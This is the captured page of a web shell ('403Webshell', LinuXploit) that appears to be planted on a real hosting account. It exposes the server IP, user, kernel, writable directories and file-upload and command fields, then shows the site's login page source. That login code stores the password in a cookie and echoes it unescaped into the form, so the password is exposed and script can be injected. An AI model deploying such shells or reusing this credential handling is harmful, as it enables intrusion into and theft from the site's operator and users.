403Webshell
Server IP : 74.208.236.18  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux infong654 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u39365822 ( 135825)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/7/d147067425/htdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/7/d147067425/htdocs/index.php
<?php
ob_start();
session_start();
require("includes/db_con_get.php");
if(isset($_SESSION['loggedin'])):
header("Location:dashboard.php");
endif; 
?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="" />
        <meta name="author" content="" />
        <title>Login - Reveal Account</title>
        <link href="css/styles.css" rel="stylesheet" />
        <script src="https://use.fontawesome.com/releases/v6.1.0/js/all.js" crossorigin="anonymous"></script>
		<script src="js/jquery.min.js"></script>
		<script src="js/jquery.validate.min.js"></script>
		<style>
		.error {
        color: #F00;
        }
		</style>
    </head>
    <body class="bg-primary">
        <div id="layoutAuthentication">
            <div id="layoutAuthentication_content">
                <main>
                    <div class="container">
                        <div class="row justify-content-center">
                            <div class="col-lg-5">
                                <div class="card shadow-lg border-0 rounded-lg mt-5">
                                    <div class="card-header">
									<a href="/dashboard.php"><img style=" display: block; margin-left: auto; margin-right: auto; width: 200px;" src="img/RMW_tree_logo_white_low.png"></a>
									<div id="error"></div>
                                    <div class="card-body">
                                        <?php if(isset($_REQUEST['otpVerification']) && isset($_REQUEST['loginState']) && @$_REQUEST['loginState'] == 'success1') {?>
                                            <?php //var_dump(empty($_SESSION['CURRENT_THERIPIST']))?>
                                            <form method="post" id="otp-form" class="login-form">
                                                <div class="form-group">
                                                    <label for="inputEmail"><strong>Enter One Time Password</strong></label>
                                                    <input class="form-control" id="otp_code" name="otp_code" type="text" placeholder="Check your email for OTP" required />
                                                </div>
                                                <div class="d-flex align-items-center justify-content-between mt-4 mb-0">
                                                    <a class="small" href="forgetpassword.php">Forgot Password?</a>
                                                    <button type="submit" class="btn btn-primary" name="btn-otp" id="btn-otp" value="submit">Submit</button>
                                                </div>
                                            </form>   
                                        <?php } else { ?>    
                                            <form method="post" id="login-form" class="login-form">
                                                <div class="form-group">
                                                    <label for="inputEmail">Email address</label>
                                                    <input class="form-control" id="username" name="username" type="email" value="<?php if(isset($_COOKIE["username"])) { echo $_COOKIE["username"]; } ?>"  placeholder="name@example.com" />
                                                </div>
                                                <div class="form-group">
                                                    <label for="inputPassword">Password</label>
                                                    <input class="form-control" id="password" name="password" type="password" value="<?php if(isset($_COOKIE["password"])) { echo $_COOKIE["password"]; } ?>" placeholder="Password" />
                                                </div>
                                                <div class="form-check mb-3">
                                                    <input class="form-check-input" id="remember_me" name="remember_me" type="checkbox" <?php if(isset($_COOKIE["username"])) { ?> checked <?php } ?>/>
                                                    <label class="form-check-label" for="inputRememberPassword">Remember Password</label>
                                                </div>
                                                <div class="d-flex align-items-center justify-content-between mt-4 mb-0">
                                                    <a class="small" href="forgetpassword.php">Forgot Password?</a>
                                                    <button type="submit" class="btn btn-primary" name="btn-login" id="btn-login" value="submit">Login</button>
                                                </div>
                                            </form>
                                        <?php } ?>
                                    </div>
                                    <div class="card-footer text-center py-3">
                                        <div class="small"><a href="register.php">Need an account? Sign up!</a></div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </main>
            </div>
            <div id="layoutAuthentication_footer">
                <footer class="py-4 bg-light mt-auto">
                    <div class="container-fluid px-4">
                        <div class="d-flex align-items-center justify-content-between small">
                            <div class="text-muted">© 2022 NHDS,Inc.</div>
                            <div>
                                <a href="https://www.nhds.com/legal-info">Privacy Policy,Terms &amp; Conditions</a>
                            </div>
                        </div>
                    </div>
                </footer>
            </div>
        </div>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
        <script src="js/scripts.js"></script>
<script>
$('document').ready(function(){
  $("#login-form").validate({
      rules:
   {
   username: {
   required: true,
   email: true
   },
   password: {
   required: true,
   minlength: 5
   },
   },
   messages:
   {
    username: {
	 required:"please enter email address",
	 email:"please enter a valid email address"
	},
    password:{
    required: "please provide a password",
    minlength: "password at least have 5 characters"
    }
    },
    submitHandler: submitForm 
    });  
    /* handle form submit */
    function submitForm() {  
    var data = $("#login-form").serialize();    
    $.ajax({    
        type : 'POST',
        url  : 'includes/main.php',
        data : data,
        beforeSend: function() { 
            $("#error").fadeOut();
            $("#btn-login").html('sending ...');
        },
        success : function(response) {
		    $("#error").html(''); 
            if($.trim(response) == 'success1'){									
                $("#btn-login").html('Signing In ...');
                setTimeout(`window.location.href = "index.php?otpVerification=active&loginState=${$.trim(response)}";`,2000);
            } else {									
                $("#error").fadeIn(1000, function(){						
                    $("#error").html('<div class="alert alert-danger">'+response+'</div>').show();
                    $("#btn-login").html('Login');
                });
            }
        }   
    });
    return false;
  }
    $("#otp-form").on("submit", function(){
        var data = $("#otp-form").serialize(); 
        $("#btn-otp").html('checking ...');
        $.post('includes/main.php', data, function(res) {
            $("#error").html('');
            if($.trim(res) == 'success2'){									
                $("#btn-otp").html('Signing In ...');
                setTimeout(`window.location.href = "dashboard.php";`,1000);
            } else {									
                $("#error").fadeIn(1000, function() {						
                    $("#error").html('<div class="alert alert-danger">'+res+'</div>').show();
                    $("#btn-otp").html('Submit');
                });
            }
        });
        return false;
    })
});
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit